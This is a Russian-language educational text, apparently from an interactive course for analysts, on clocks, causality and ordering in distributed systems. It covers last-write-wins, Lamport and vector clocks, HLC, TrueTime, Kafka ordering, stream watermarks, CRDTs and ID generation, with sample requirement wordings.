    Для чего: таймауты, паузы между повторами, замер «сколько длился запрос».

    System.nanoTime() · performance.now() · time.monotonic() · CLOCK_MONOTONIC

    стенные часы на кухне можно перевести, и тогда «сколько варится суп» по ним посчитать нельзя. Секундомер перевести нельзя: его только запускают и смотрят, сколько натикало. Для «сколько прошло» нужен секундомер.

    Вот что бывает, если мерить таймаут по стенным часам. Пройдите по шагам.

    Частые ошибки этой главы. 1) Таймаут или длительность считают вычитанием двух «дат». 2) Уверены, что NTP «держит часы точными», и сравнивают метки двух серверов с точностью до миллисекунд. 3) Разные серверы берут время из разных источников. 4) Считают, что «время не идёт назад». В Go, кстати, это учли: с версии 1.9 time.Now() несёт и монотонное показание, и разница двух таких значений считается по нему.
    «Длительности и таймауты измеряются монотонными часами. Все серверы синхронизируют время по NTP с одного источника; расхождение с эталоном контролируется мониторингом, порог тревоги — 100 мс. Моменты событий хранятся в UTC.»

    глава 3 · живая модель «часы врут»: как теряется запись и как её спасти

    «Последняя запись побеждает» (last-write-wins, LWW) — правило разрешения конфликтов: из нескольких версий одной записи оставляем ту, у которой метка времени больше. Остальные молча выбрасываем.
    в семейном чате решают, где отмечать день рождения. Правило: «верно последнее сообщение». Если у мамы на телефоне время спешит на пять минут, её старое сообщение «в кафе» окажется «последним» — хотя папа уже написал «передумали, дома».

    LWW очень популярно: оно простое и не требует координации. Так по умолчанию разрешает конфликты Cassandra (по меткам времени записей), так работают глобальные таблицы DynamoDB при записи в нескольких регионах. Им пользуются и самописные системы: «при синхронизации берём запись с бо́льшим updated_at».

    Ниже — модель из главы 1. Двигайте ползунки и жмите «▶ Прогнать». Потом переключите правило базы: вместо часов — номер версии или векторные часы.

    −100
    40
    правило базы
    👩 Аннапокупает пару «Air 42»
    Сервер А12:00:00.000ждёт
    🗄 База: остаток «Air 42»
    правило: бо́льшая метка побеждает
    3
    метка 11:59:50.000
    🧔 Бориспокупает ту же модель
    Сервер Б11:59:59.900ждёт

    Настоящее время и метки: где порядок переворачивается

    Как читать схему. Слева Анна и сервер А, справа Борис и сервер Б. Под именем сервера — что показывают его часы в момент действия. Жёлтые часы отстают, красные спешат. Пакет летит в базу; в базе видно, что лежит сейчас и с какой меткой, версией или вектором. На шкале ниже верхняя линия — как было на самом деле, нижняя — какие метки поставили серверы. Если линии скрестились, часы перевернули порядок. Сеть до базы в модели идёт 25 мс: если Борис нажал раньше, чем запись Анны дошла до базы, он прочитал старый остаток.
    Что вы увидите. При разбеге −100 мс и паузе 40 мс LWW молча выбрасывает покупку Бориса: в базе 2, на полке 1. Переключите на «Номер версии» — те же часы больше ничего не решают, остаток верный. Поставьте паузу 10 мс: теперь Анна и Борис действуют одновременно. LWW теряет покупку даже с точными часами, версия ловит конфликт и повторяет, векторные часы показывают две версии-сестры. Максимум баллов — за все три случая.

    Почему версия спасает, а часы — нет

    ⏰ LWW по часам

    Сравнивает то, что показывали часы. Если разница между событиями меньше разбега часов, порядок может перевернуться. Одновременные изменения LWW вообще не замечает: одно выигрывает, другое пропадает.

    #️⃣ Номер версии

    Запись говорит: «я меняю версию 2». Если в базе уже версия 3 — запись отклоняется, клиент перечитывает и повторяет. Часы не участвуют. Работает, когда есть одно место, которое проверяет версию.

    🧭 Векторные часы

    Каждая версия несёт «кто что видел». База понимает: запись Бориса учитывает запись Анны — значит, новее. Или не учитывает — значит, конфликт, храним обе. Работает и без одного главного места.

    Оптимистическая блокировка (optimistic locking) — у записи есть номер версии. Изменение выполняется, только если версия не поменялась с момента чтения. Не поменялась — пишем и увеличиваем номер. Поменялась — кто-то успел раньше: перечитать и решить заново.
    общий документ, который правят по очереди. Перед правкой вы смотрите номер редакции: «редакция 7». Отдаёте правку с пометкой «делал по редакции 7». Если секретарь видит, что уже есть редакция 8, он возвращает вам правку: «перечитайте, документ изменился».
    -- сервер Б прочитал: qty = 2, version = 2
    UPDATE stock
       SET qty = 1, version = 3
     WHERE sku = 'air-42' AND version = 2;   -- «если никто не успел раньше»
    -- обновлено 1 строка  → успех
    -- обновлено 0 строк   → кто-то успел: перечитать и повторить

    В HTTP-интерфейсах то же самое делают заголовками: сервер отдаёт версию в ETag, клиент присылает её в If-Match. Если версия устарела, сервер отвечает 412 Precondition Failed.

    А если просто получше синхронизировать часы? Разбег можно уменьшить, но не до нуля. События, между которыми меньше разбега, всегда рискуют перевернуться. А одновременные изменения LWW теряет даже с идеальными часами. Есть системы, которые умеют жить с часами честно, — Spanner с его TrueTime (глава 7). Но и он не верит часам вслепую: он знает границу ошибки и ждёт её.
    «При одновременном изменении остатка с разных серверов изменения не должны теряться. Порядок изменений определяется номером версии записи, а не временем сервера. При конфликте версий сервис автоматически повторяет операцию до 3 раз, затем возвращает 409 Conflict. LWW по времени допустимо только для полей, где потеря одного из одновременных изменений не важна (например, «последний просмотренный товар»).»

    Где версии и конфликты живут в репликации, разобрано в разделе . Какие гарантии чтения бывают — в .

    глава 4 · причинность «произошло-до»: порядок без часов

    Если часам верить нельзя, что тогда вообще значит «раньше»? В 1978 году Лесли Лэмпорт предложил ответ, на котором до сих пор стоит вся теория распределённых систем. «Раньше» — это «могло повлиять». Не «показывали меньше часы», а «информация о первом событии могла дойти до второго».

    Отношение «произошло-до» (happens-before, пишут a → b) — событие a могло повлиять на событие b. Оно задаётся тремя правилами:
    1. Один процесс: a и b случились на одном сервере, и a было раньше в его очереди дел. Тогда a → b.
    2. Сообщение: a — отправка письма, b — получение этого письма. Тогда a → b.
    3. Цепочка: если a → b и b → c, то a → c.
    Конкурентные события (concurrent, пишут a ∥ b) — ни a → b, ни b → a. Это не «одновременно по часам». Это «ни одно не могло узнать о другом».
    Анна живёт в Москве, её подруга — в Казани. Они пишут друг другу бумажные письма. Если подруга ответила на письмо Анны, ответ точно «после» письма: подруга его прочитала. А если обе в один вечер написали друг другу, не дождавшись ответа, — эти письма конкурентные. Неважно, чья свеча горела раньше: ни одна не знала о письме другой, и спорить «кто первая» бессмысленно.

    Отсюда главный вывод раздела: порядок — это про информацию, а не про часы. Если сервер Б прочитал результат сервера А, его запись — «после», даже если часы Б показывают меньше. В главе 3 LWW ошибся именно здесь: он сравнил часы вместо того, чтобы спросить «кто что видел».

    Диаграмма пространство-время (space-time diagram) — картинка, где каждый сервер — горизонтальная линия, время на ней идёт слева направо, точки — события, стрелки между линиями — сообщения.

    Постройте свою переписку

    Три участника: склады в Москве и Казани и сервис заказов. Выберите, кто действует, и добавляйте события и письма. Письмо сначала «в пути» (пунктир), пока получатель не нажмёт «Получить». Потом нажмите на любое событие: схема покажет его прошлое, будущее и конкурентов. Нажмите на второе — и узнаете, как они связаны.

    кто действует
    подписи у событий
    прошлое: могло повлиять на выбранноебудущее: выбранное могло повлиятьконкурентные: не знали друг о друге
    Как читать схему. Три линии — три участника. Точки на линии — их события, по порядку слева направо. Стрелка — письмо: от точки отправки к точке получения. Подписи под точками зависят от переключателя «подписи». Точки расставлены в том порядке, в каком вы их добавляли. Но сравнивать события на разных линиях «кто левее» нельзя: связь между линиями создают только стрелки.
    Что вы увидите. Нажмите в «Примере» на событие g: зелёным окажутся все события, от которых к нему ведёт цепочка стрелок, — даже на складе в Казани. Нажмите g ещё раз, чтобы снять выбор. Потом нажмите a, а затем c: они конкурентны, хотя c нарисовано правее. Балл дают за найденную пару «произошло-до» и за найденную пару конкурентных событий.
    Причинность встречается в требованиях чаще, чем кажется. «Ответ на отзыв не может быть показан раньше самого отзыва». «Событие „заказ оплачен“ обрабатывается только после „заказ создан“». «Пользователь, изменивший адрес, сразу видит новый адрес» (читать свои записи). Каждая такая фраза — требование сохранить «произошло-до».

    глава 5 · логические часы часы Лэмпорта: счётчик вместо времени

    Как поставить на события числа так, чтобы они не спорили с причинностью? Лэмпорт предложил не спрашивать время вовсе, а вести простой счётчик.

    Часы Лэмпорта (Lamport clock) — у каждого участника есть целый счётчик. Три правила:
    1. Перед каждым своим событием (и перед отправкой письма тоже) — прибавить 1.
    2. Отправляя письмо, положить в него текущее значение счётчика.
    3. Получив письмо с меткой m, поставить счётчик в max(свой, m) + 1.
    нумерация писем в переписке. Отвечая, вы ставите номер больше, чем у письма, на которое отвечаете, и больше, чем у вашего прошлого письма. Тогда ответ всегда получает номер больше вопроса — даже если у вас дома часы стоят.

    Пройдите по шагам. Следите, как метка «подтягивается» при получении письма.

    Что дают часы Лэмпорта

    Гарантию: если a → b, то L(a) < L(b). Причина всегда получает меньшее число, чем следствие.

    Полный порядок: если метки равны, добавим номер участника: (L, узел). Тогда все события выстроятся в одну линию, одинаковую у всех, и эта линия не спорит с причинностью.

    Дёшево: одно число на событие и на письмо.

    Чего они не дают

    Не отличают конкурентные: L(a) < L(b) не значит, что a повлияло на b. Может, они вообще не знали друг о друге.

    Не связаны с реальным временем: нельзя спросить «что было в 12:00».

    Не видят пропусков: по метке 7 не понять, сколько событий было у других.

    Проще говоря. Часы Лэмпорта отвечают на вопрос «могло ли b повлиять на a?» так: «если метка b больше — не могло». Но на вопрос «повлияло ли a на b?» они честно ответить не могут. Для этого нужны векторные часы — глава 6.

    В чистом виде часы Лэмпорта живут в алгоритмах. А сама идея — счётчик, который никогда не идёт назад и подтягивается по чужим меткам — встречается везде. Номер срока (term) в Raft его авторы прямо называют логическими часами. Маркеры ограждения из главы 2, номера версий из главы 3, смещения (offset) в журнале Kafka, номер позиции в журнале базы (LSN) — всё это родственники.

    Аналитик не пишет «используйте часы Лэмпорта». Но пишет их смысл: «У каждого события заказа есть порядковый номер версии, который растёт на 1. Получатель применяет событие, только если его номер больше последнего применённого».

    глава 6 · векторные часы кто что видел: векторы и корзина Dynamo

    Одно число не может сказать «эти двое не знали друг о друге». Значит, нужно больше чисел: по одному на каждого участника.

    Векторные часы (vector clock) — у каждого участника есть вектор счётчиков, по ячейке на каждого участника системы. Правила:
    1. Перед своим событием — прибавить 1 в своей ячейке.
    2. Отправляя письмо, положить в него весь вектор.
    3. Получив письмо — взять поэлементный максимум своего вектора и вектора письма, затем прибавить 1 в своей ячейке.
    каждый участник переписки ведёт табличку «сколько событий каждого я уже знаю». У Москвы [2, 1, 0] значит: «я знаю два своих события и одно казанское, о сервисе заказов не знаю ничего». Сравнив две таблички, сразу видно, кто что знал.
    Как сравнивать векторы. V(a) ≤ V(b), если каждая ячейка a не больше соответствующей ячейки b. Тогда:
    • V(a) ≤ V(b) и они не равны → a → b: b знал всё, что знал a, и ещё что-то.
    • V(b) ≤ V(a) и не равны → b → a.
    • Ни то, ни другое → a ∥ b, конкурентные. Каждый знал что-то, чего не знал другой.

    Сравните векторы сами

    Меняйте ячейки кнопками. Порядок ячеек: Москва, Казань, Заказы.

    История из жизни: корзина Amazon Dynamo

    В 2007 году Amazon описала в статье хранилище Dynamo. Корзина покупателя хранилась на нескольких узлах сразу, и записать изменение мог любой из них — даже если связь между узлами порвалась. Главное требование бизнеса: «положить в корзину» должно работать всегда. Версии корзины Dynamo помечал векторными часами. Смотрите, что из этого вышло.

    Версии-сёстры (siblings) — конкурентные версии одной записи, которые хранилище сохраняет все сразу, потому что не может выбрать победителя. Разрешает конфликт тот, кто знает смысл данных: приложение или человек.

    Цена векторов: они растут

    В векторе ячейка на каждого участника. Если участники — тысячи телефонов, вектор раздувается. Поэтому на практике делают так:

    Вектор версий

    Version vector — ячейки не по всем процессам, а по репликам, где хранятся данные. Их обычно 3–5. Вектор ставится на версию записи, а не на каждое событие. Именно так в основном и делают хранилища.

    Усечение

    Самые старые ячейки выбрасывают, когда вектор слишком длинный. Dynamo усекал вектор после 10 ячеек. Платим тем, что изредка настоящий порядок принимается за конфликт.

    Точечные векторы

    Dotted version vectors — улучшенный вариант в Riak. Точнее различают одновременные записи, пришедшие через одну и ту же реплику, и не плодят лишних сестёр.

    Частая ошибка. Думать, что векторные часы «решают» конфликт. Они его только находят. Что делать с двумя версиями корзины — объединить, спросить пользователя, взять по правилу — решает бизнес. Это вопрос к аналитику, и его лучше задать до того, как Анна увидит воскресшие кеды.
    «Корзина может изменяться одновременно с нескольких устройств без связи с сервером. При обнаружении конкурентных версий корзины они объединяются: товар остаётся в корзине, если он был добавлен хотя бы в одной версии и не был удалён в версии, которая видела это добавление». (Как это реализовать без воскрешений — в главе 10.)

    глава 7 · часы, которым можно верить гибридные часы и TrueTime

    Логические часы честны, но оторваны от реального времени: по ним нельзя спросить «покажи остатки на 12:00». Физические часы привязаны к реальности, но врут. Две идеи пытаются взять лучшее от обоих миров.

    Гибридные логические часы (HLC)

    Гибридные логические часы (hybrid logical clock, HLC) — метка из двух частей: l — самое большое физическое время, которое узел видел (у себя или в письмах), и c — логический счётчик для событий «внутри одной миллисекунды». Предложены в 2014 году (Кулкарни, Демирбаш и соавторы).
    вы ведёте дневник и пишете дату по своим часам. Получили письмо, датированное «завтра»? Вы не спорите, а пишете следующую запись «завтра, запись 2». Как только ваши часы сами дойдут до «послезавтра», вы снова пишете по ним.

    Свойства HLC: метка никогда не меньше физических часов узла; она близка к реальному времени; она, как Лэмпорт, сохраняет причинность (a → b значит HLC(a) < HLC(b)); она помещается в 64 бита, как обычная метка времени. Пройдите по шагам: часы узла Б отстают на 40 мс.

    HLC используют CockroachDB и YugabyteDB. Но HLC не отменяет разбег часов, а только живёт с ним. Поэтому обе базы требуют, чтобы разбег был ограничен. В CockroachDB максимальный разбег по умолчанию — 500 мс. Узел, который разошёлся с половиной кластера больше чем на 80 % от этого предела, сам себя останавливает. В YugabyteDB предел тоже 500 мс, и при его превышении сервер падает. Лучше упасть, чем тихо испортить данные.

    Окно неопределённости (uncertainty interval) — промежуток после метки чтения шириной в максимальный разбег. Если при чтении база видит значение с меткой внутри этого окна, она не может понять, было оно раньше или позже, и перечитывает с более поздней меткой (read restart).

    TrueTime в Google Spanner: знать размер ошибки

    TrueTime — служба времени в Google Spanner. На вопрос «который час?» она отвечает не числом, а интервалом [earliest, latest], в котором настоящее время находится гарантированно. Половину ширины интервала называют ε (эпсилон). Основа — приёмники GPS и атомные часы в дата-центрах.

    В статье 2012 года ε обычно было от 1 до 7 мс. Позже Google сообщала, что погрешность стала меньше миллисекунды в 99 % случаев. Главный трюк — ожидание при фиксации.

    Ожидание при фиксации (commit wait) — транзакция получает метку s = latest, но ответ «готово» клиенту уходит только когда earliest стал больше s. Тогда s гарантированно уже в прошлом — для любых часов в мире. Цена — до 2ε ожидания на каждую запись.
    два нотариуса в разных городах. Часы у обоих не идеальны, но каждый знает: ошибка не больше 5 минут. Нотариус ставит на документ время по верхней границе и отдаёт документ клиенту, только когда даже по нижней границе его часов это время прошло. Тогда любой документ, заверенный после выдачи, у любого нотариуса получит время позже.

    Посчитайте цену ожидания

    4
    5
    Как читать схему. Жёлтая полоса — интервал TrueTime в момент фиксации: где-то внутри — настоящее время. Метка s — правый край полосы. Красная зона — ожидание: пока нижняя граница не перейдёт через s. Параллельно идёт репликация: пока реплики подтверждают запись, ожидание уже «тикает». Фиолетовая полоса — следующая транзакция T2: она начата после ответа и получает метку позже s.
    Чем платим. Специальное оборудование и служба времени. Задержка записи растёт вместе с ε: поэтому Google так вкладывается в её уменьшение. Если оценка ε окажется неверной (часы сломались, а служба этого не заметила), гарантия пропадает. У AWS есть похожая идея — ClockBound: часы, которые сообщают границу своей ошибки.

    Сводка: пять видов часов

    Нажмите на строку, чтобы раскрыть пояснение.

    Как консенсус выстраивает общий журнал, в котором порядок не зависит от часов вовсе, — в разделе . Как распределённые транзакции договариваются о фиксации — в .

    глава 8 · порядок сообщений FIFO, причинный, общий порядок; Kafka; версии и дубли

    До сих пор мы ставили метки на события. Теперь — о письмах, которые сервисы шлют друг другу через сеть и брокеры. Сеть умеет четыре гадости: задержать письмо, переставить два письма местами, доставить одно письмо дважды и потерять его. Что нам гарантировано, а что придётся строить самим?

    Три уровня порядка

    FIFO-порядок

    Первым пришёл — первым обработан (first in, first out) для одного отправителя: письма одного отправителя приходят в том порядке, в каком он их отправил. Про разных отправителей — ничего.

    Из жизни: один человек шлёт вам посылки одной службой доставки, и они приходят по очереди. Посылки от разных людей — как повезёт.

    TCP даёт FIFO внутри одного соединения. Переподключение, повторы, несколько соединений — и гарантии нет.

    Причинный порядок

    Causal order: если отправка m1 произошла-до отправки m2, все получатели увидят m1 раньше m2. Независимые письма — в любом порядке.

    Из жизни: в чате ответ «да, беру!» не должен появиться раньше вопроса «кроссовки ещё продаются?». А две независимые реплики разных людей — в любом порядке.

    Реализуют метками причинности (векторами) и буфером «подожду, пока придёт то, что было раньше».

    Полный (общий) порядок

    Total order: все получатели видят все письма в одном и том же порядке. Даже независимые.

    Из жизни: протокол собрания, который ведёт один секретарь. Кто бы что ни говорил, в протоколе одна последовательность, и у всех одна и та же копия.

    Рассылка в общем порядке (total order broadcast) по силе равна консенсусу. Её делают через лидера и общий журнал.

    Проще говоря. Чем сильнее порядок, тем дороже. FIFO почти бесплатен. Причинный требует метаданных и ожидания. Общий требует консенсуса: лидера, большинства, задержек. Поэтому хороший вопрос аналитика — не «нужен ли порядок», а «порядок чего относительно чего?». Обычно достаточно порядка событий одного заказа, а не всех заказов магазина. Как общий журнал строится через лидера и большинство — .

    Порядок в Kafka: только внутри партиции

    Партиция (partition) — одна из частей топика Kafka: отдельный журнал со своими номерами записей (смещениями, offset). Порядок гарантирован только внутри одной партиции. Сообщения с одинаковым ключом попадают в одну партицию — пока не меняется число партиций.
    в банке несколько окон. Внутри одного окна очередь строго по порядку. Если все документы одной семьи носить в одно окно, они будут обработаны по порядку. Но если открыть новые окна и заново распределить семьи — часть документов окажется в новом окне, и порядок на переходе поломается.

    Подробно о партициях, группах потребителей и гарантиях доставки — в разделе .

    Номера последовательности и версии

    Номер последовательности (sequence number) — число, которое источник ставит на свои сообщения по порядку: 1, 2, 3… Получатель помнит последний обработанный номер. По номерам видно и перестановку (пришло 5 раньше 4), и дубль (4 второй раз), и пропуск (после 3 сразу 5).
    страницы договора пронумерованы. Даже если курьер уронил пачку и собрал её вразнобой, вы разложите страницы правильно. И сразу заметите, что страницы 7 нет, а страница 4 попалась дважды.

    Если сообщение несёт не «разницу» («минус одна пара»), а полное состояние с версией («остаток 4, версия 18»), получатель может просто отбрасывать всё, что не новее уже применённого. Смотрите по шагам.

    Дубли неизбежны: идемпотентность

    Доставка «хотя бы один раз» (at-least-once) — брокер повторяет письмо, пока не получит подтверждение. Если получатель обработал письмо, но упал до подтверждения, письмо придёт снова. Это самый частый режим, и дубли в нём — норма, а не авария.
    Идемпотентность (idempotency) — свойство операции: повторное выполнение даёт тот же результат, что и однократное. «Поставить статус „оплачен“» идемпотентно. «Прибавить 1 к счётчику» — нет.
    Дедупликация (deduplication) — получатель запоминает идентификаторы уже обработанных сообщений (таблица «входящих», inbox) и повтор пропускает. Запись «обработано» и само действие должны происходить в одной транзакции — иначе при сбое между ними снова будет дубль или потеря.
    бухгалтер ставит на оплаченный счёт штамп «ОПЛАЧЕНО» и номер платёжки. Если тот же счёт принесут второй раз, штамп покажет: платить не нужно.

    Модель: статусы заказа Анны приходят вразнобой

    Сервис заказов отправляет пять событий заказа №1042: создан → оплачен → собран → передан курьеру → доставлен. Получатель обновляет карточку заказа в приложении Анны и шлёт ей SMS на каждый статус. Выберите, как доставляет сеть и как ведёт себя получатель. Жмите «Следующее письмо» или «Доставить всё».

    как доставляет сеть
    как обрабатывает получатель
    очередь доставки (в порядке прихода)
    карточка заказа в приложении Анны
    SMS Анне
    Что вы увидите. «Как пришло»: статус прыгает назад («доставлен» → «передан курьеру»), Анне приходят два одинаковых SMS. Дедупликация убирает дубль, но не перестановку. «Только если версия новее»: статус всегда верный, но SMS о пропущенном статусе не уйдёт — для карточки это нормально, для уведомлений может быть нет. «Буфер» ждёт пропущенное письмо и применяет всё строго по порядку — ценой задержки. Балл — за найденную поломку и за верный итог при перепутанной доставке.
    «События заказа содержат номер версии заказа (растёт на 1 при каждом изменении) и уникальный идентификатор события. Получатель: отбрасывает события с версией не выше уже применённой; повторная доставка не приводит к повторному SMS (дедупликация по идентификатору события, хранение 7 дней). Порядок событий гарантируется в пределах одного заказа: ключ партиции — номер заказа.»

    Как события и проекции строятся на этом порядке — в разделе .

    глава 9 · потоки время события, опоздания и водяные знаки

    Распродажа в «Ботинке». Аналитик Олег хочет видеть на экране «покупок за минуту» — прямо во время акции. Покупки приходят потоком событий из мобильного приложения. Часть телефонов в метро или без связи: их события доходят с опозданием на десятки секунд, а то и минуты. В какую минуту их записать?

    Время события (event time) — когда событие случилось на самом деле: Анна нажала «Купить» в 12:01:58. Это время записано внутри события.
    Время обработки (processing time) — когда событие дошло до нашей системы и было обработано: в 12:03:08, потому что Анна ехала в метро. Иногда отдельно выделяют время поступления (ingestion time) — когда событие попало в брокер.
    письмо с почтовым штемпелем. Штемпель — время события: когда письмо отправили. Дата, когда вы вскрыли конверт, — время обработки. Если считать, сколько писем отправили в понедельник, смотрят на штемпель, а не на день, когда их вскрыли.

    Если считать по времени обработки — просто и быстро, но цифры врут: покупка Анны в 12:01:58 попадёт в минуту 12:03. Если считать по времени события — цифры честные, но появляется вопрос: когда закрывать минуту 12:01, если в любой момент может прийти опоздавшая покупка?

    Окно (window) — отрезок времени событий, по которому считается итог: «покупок с 12:01:00 до 12:02:00».

    Фиксированные окна

    Tumbling — окна одинаковой длины встык, без перекрытий: 12:00–12:01, 12:01–12:02… Каждое событие попадает ровно в одно окно. «Продажи за каждую минуту».

    Скользящие окна

    Sliding (в Kafka Streams — hopping) — окна одной длины, но начинаются чаще, чем длятся: длина 1 мин, шаг 30 с. Окна перекрываются, событие попадает в несколько. «Продажи за последнюю минуту, обновлять каждые 30 с».

    Сессионные окна

    Session — окно по активности: длится, пока события идут, и закрывается после паузы заданной длины. Длина заранее неизвестна. «Визит на сайт закончился после 30 минут тишины».

    Водяной знак (watermark) — отметка в потоке, которая говорит: «события со временем раньше W, скорее всего, уже все пришли». Когда водяной знак переходит через конец окна, окно закрывается и выдаёт итог. Чаще всего водяной знак вычисляют так: самое большое время события, которое мы видели, минус допустимая задержка.
    учитель собирает контрольные. Объявляет: «работы, сданные после звонка плюс пять минут, не принимаю». Пять минут — запас на опоздавших. Больше запас — меньше обиженных, но позже проверка.
    Опоздавшее событие (late event) — пришло, когда водяной знак уже прошёл конец его окна. Его отбрасывают, отправляют в отдельный поток или, если разрешено допустимое опоздание (allowed lateness, в Kafka Streams — grace period), пересчитывают окно и выпускают исправленный итог.

    Как режется время: три вида окон

    Модель: водяной знак и опоздания

    Точки — покупки. По горизонтали — когда покупка случилась (время события). По вертикали — когда она дошла до нас (время обработки, ниже — позже). Если бы сеть была мгновенной, все точки лежали бы на серой диагонали. Жёлтая ступенчатая линия — водяной знак. Фиолетовые чёрточки с надписью «итог» — момент, когда окно закрылось и выдало итог. Окна фиксированные, по минуте.

    5
    Как читать схему. Зелёная точка — учтена вовремя. Красная — опоздала и отброшена. Оранжевая — опоздала, но попала в итог через допустимое опоздание (окно выпустило исправление). Серые — покупки после 12:03, они уже в следующем окне. Точка лежит левее жёлтой линии на своей высоте — значит, к её приходу водяной знак уже ушёл дальше неё.
    Что вы увидите. Запас 0 с: итог за минуту готов через секунды, но потеряно много покупок. Запас 45 с: почти всё учтено, но итог приходит почти через минуту. Покупка Анны из метро опоздала на 70 секунд — её не спасёт никакой разумный запас. Её спасает только допустимое опоздание: первый итог выходит быстро, а потом исправляется. Балл — за увиденную потерю и за настройку, при которой не потеряно ни одной покупки.

    Где это живёт

    Apache Flink (стратегии водяных знаков, допустимое опоздание, отдельный поток для опоздавших), Apache Beam и Google Dataflow (там эти идеи и сформулированы), Kafka Streams (grace period у окон), Spark Structured Streaming (withWatermark).

    Та же беда без потоков

    Отчёт Олега «продажи за 1 сентября» по времени записи в базу. Заказ в 23:59:58 записан в 00:00:01 — и попал во 2 сентября. Отчёт должен считать по времени события, в поясе бизнеса (например, московском), а «поздние» записи — пересчитывать.

    «Метрика „покупок в минуту“ считается по времени события (момент нажатия „Купить“, UTC) в фиксированных окнах по 1 минуте. Предварительный итог выдаётся не позже 10 с после конца минуты. События с опозданием до 5 минут учитываются исправлением итога; более поздние записываются в журнал опоздавших и учитываются в ночном пересчёте. Доля опоздавших событий — отдельная метрика.»

    глава 10 · CRDT данные, которые сливаются сами

    В главе 6 векторы нашли конфликт, но решать его пришлось приложению. А можно ли устроить данные так, чтобы конфликтов не было вовсе — чтобы любые две копии можно было слить автоматически и получить один и тот же ответ?

    CRDT (conflict-free replicated data type, бесконфликтный реплицируемый тип данных) — структура данных, копии которой можно менять независимо — офлайн, в разных дата-центрах, — а потом слить. Все копии придут к одному состоянию без координации и без конфликтов. Условие: слияние не зависит от порядка (коммутативно), от группировки (ассоциативно) и от повторов (идемпотентно).
    двое считают посетителей на двух входах музея, каждый на своём кликере. Вечером никто не спорит, «чей счётчик правильный»: их просто складывают. А если один и тот же листок с цифрами принесли дважды — не складывают второй раз, потому что у каждого входа свой листок и берётся самый свежий.

    Четыре простых CRDT

    G-Counter — счётчик, который только растёт

    У каждой копии своя ячейка: «сколько прибавила я». Прибавить — увеличить свою ячейку. Слить — взять в каждой ячейке максимум. Значение — сумма ячеек. Повтор слияния ничего не меняет: максимум от максимума тот же.

    PN-Counter — счётчик вверх и вниз

    Два G-счётчика: P — все прибавления, N — все вычитания. Значение — P минус N. Так считают лайки, которые можно ставить и снимать.

    LWW-Register — «последний победил»

    Одно значение с меткой времени. Слить — оставить с бо́льшей меткой, при равенстве — по номеру копии. Это CRDT: все копии сойдутся. Но сойдутся на том, что выбрали часы — со всеми бедами глав 2–3. Годится для «адрес доставки по умолчанию», не годится для остатков.

    OR-Set — множество «добавить и удалить»

    Observed-Remove Set. Каждое добавление получает уникальную метку. Удаление удаляет только те метки, которые копия видела. Если одна копия удалила товар, а другая одновременно добавила его заново, новое добавление выживает (add-wins). Удалённое при этом не воскресает — в отличие от корзины Dynamo.

    Песочница: две копии без связи

    Две копии данных «Ботинка»: дата-центры в Москве и Казани, связь между ними порвана. В каждой копии — счётчик лайков модели «Air 42» и корзина Анны (Анна правит её с телефона через Москву и с ноутбука через Казань). Правьте обе копии, потом нажмите «Соединить». Внизу — что получилось бы при трёх способах слияния.

    Как читать песочницу. Крупная цифра — сколько лайков видит эта копия. Под ней — внутреннее устройство: P (прибавления) и N (вычитания) по каждой копии. У корзины под списком — метки добавлений и «надгробия» удалённых меток. Зелёные строки — товар в корзине. После слияния внизу три карточки: CRDT, «последний победил» и «простое объединение».
    Что вы увидите. Поставьте по лайку в обеих копиях и соедините: PN-счётчик покажет +2, а LWW — только +1: один лайк потерян, хотя часы идеальны. В корзине удалите товар в Москве и добавьте другой в Казани: OR-Set сохранит обе правки, LWW потеряет одну, а простое объединение вернёт удалённый товар.

    Где CRDT применяют

    Базы с записью в нескольких местах

    Redis Enterprise в режиме Active-Active (записи в нескольких регионах сразу), типы данных Riak (счётчики, множества, словари).

    Совместное редактирование

    Библиотеки Automerge и Yjs: несколько человек правят документ одновременно, в том числе офлайн, и правки сливаются без сервера-арбитра.

    Офлайн-приложения

    Заметки, списки покупок, корзины: телефон работает без сети, а при появлении связи копии сливаются.

    Чем платим и когда НЕ подходит. Метаданные растут: метки, надгробия, ячейки на каждую копию — их приходится периодически чистить. Не всякую операцию можно сделать CRDT. И главное: CRDT не умеют держать ограничения вида «не больше, чем есть». Две копии независимо продадут последнюю пару «Air 42» — каждая честно видела остаток 1. Для остатков, денег и уникальности нужна координация: одна главная запись, консенсус или распределённая транзакция ().
    «Счётчик лайков допускает запись в обоих регионах одновременно; итог после восстановления связи равен сумме всех действий (потери лайков недопустимы, временное расхождение между регионами — до 1 минуты допустимо). Остаток товара изменяется только в регионе-владельце; другой регион при отсутствии связи продажу этого товара не подтверждает.»

    глава 11 · идентификаторы автоинкремент, UUID v4 и v7, Snowflake

    У каждого заказа нужен номер. Кажется, это самая простая задача раздела. Но номер — тоже про порядок и время: кто его выдаёт, могут ли два сервера выдать одинаковый, и в каком порядке номера лягут в индекс базы.

    Автоинкремент и его беды

    Автоинкремент (auto increment; в PostgreSQL — GENERATED AS IDENTITY или SERIAL) — база сама выдаёт номера по порядку: 1041, 1042, 1043… Счётчик один и живёт в одной базе.
    талончик в очереди из одного аппарата. Пока аппарат один, номера не повторяются. Поставьте второй аппарат в другом конце зала — и у двух людей окажется талон №42.

    Два счётчика — одинаковые номера

    Шарды, две базы в двух дата-центрах, слияние данных после покупки другой компании — и заказ №1042 существует дважды. Лечат шагом и сдвигом (одна база выдаёт нечётные, другая — чётные), но это хрупко: добавить третью базу больно.

    Номер известен только после записи

    Сервис не может знать номер заказа, пока не сходил в базу. Нельзя заранее собрать событие, ключ идемпотентности, ссылку для оплаты. А единственный счётчик — узкое место при очень большой записи.

    Номер выдаёт секреты

    Конкурент делает заказ в понедельник (№1042) и в следующий понедельник (№1942) — и знает ваш недельный объём продаж. Так союзники во Второй мировой по серийным номерам оценивали выпуск немецких танков.

    Номер легко перебрать

    Если по адресу /orders/1042 видно чужой заказ при ошибке проверки прав, злоумышленник переберёт 1041, 1043… Это уязвимость прямого доступа к объектам (IDOR). Номер — не защита, но угадываемый номер делает ошибку опаснее.

    UUID: номер, который можно придумать где угодно

    UUID (universally unique identifier, универсальный уникальный идентификатор) — 128-битное число, которое генерируют без обращения к общему счётчику. Записывают 32 шестнадцатеричными цифрами: 0199a3b2-7c41-7d2e-9f10-5b6c7d8e9f01. Стандарт — RFC 9562 (май 2024), он заменил старый RFC 4122.
    UUID версии 4 — 122 случайных бита (ещё 6 бит — версия и вариант). Вероятность совпадения ничтожна: чтобы с шансом 50 % получить хоть одно совпадение, нужно сгенерировать порядка 2,7 · 10¹⁸ штук. Минус — полностью случайный порядок.
